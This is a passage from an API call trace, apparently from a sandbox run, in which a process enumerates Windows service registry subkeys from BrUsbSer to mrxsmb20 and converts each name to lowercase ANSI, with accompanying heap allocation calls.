8 [0256.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0256.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.195] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0256.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0256.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.196] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0256.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0256.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.196] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0256.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0256.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.196] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0256.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0256.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.196] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0256.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0256.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.197] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0256.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0256.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.197] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0256.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0256.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0256.197] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0256.197] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0256.197] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0256.197] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0256.198] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0256.198] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0256.198] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0256.198] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0256.198] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0256.198] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0256.198] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0256.198] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0256.198] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0256.198] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0256.198] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0256.198] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0256.199] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0256.199] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0256.199] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0256.199] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0256.199] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0256.199] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0256.199] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0256.199] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0256.199] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0256.199] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0256.199] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0256.199] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0256.199] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0256.200] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0256.200] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0256.200] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0256.200] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0256.200] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0256.200] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0256.200] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0256.200] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0256.200] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0256.200] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0256.200] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0256.200] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0256.200] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0256.201] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0256.201] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0256.201] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0256.201] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0256.201] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0256.201] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0256.201] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0256.201] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0256.201] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0256.201] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0256.201] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0256.201] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0256.201] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0256.202] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0256.202] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0256.202] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0256.202] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0256.202] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0256.202] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0256.202] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0256.202] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0256.202] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0256.202] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0256.202] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0256.202] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0256.203] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0256.203] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0256.203] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0256.203] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0256.203] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0256.203] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0256.203] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0256.203] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0256.203] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0256.203] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0256.203] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0256.203] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0256.203] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0256.204] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0256.204] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0256.204] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0256.204] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0256.204] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0256.204] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0256.204] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0256.204] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0256.204] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0256.204] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0256.204] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0256.204] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0256.205] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0256.205] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0256.205] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0256.205] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0256.205] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0256.205] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0256.205] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0256.205] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0256.205] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0256.205] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0256.205] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0256.205] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0256.205] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0256.206] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0256.206] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0256.206] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0256.206] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0256.206] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0256.206] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0256.206] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0256.206] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0256.206] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0256.206] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0256.206] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0256.206] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0256.206] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0256.207] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0256.207] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0256.207] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0256.207] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0256.207] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0256.207] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0256.207] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0256.207] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0256.207] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0256.207] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0256.207] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | 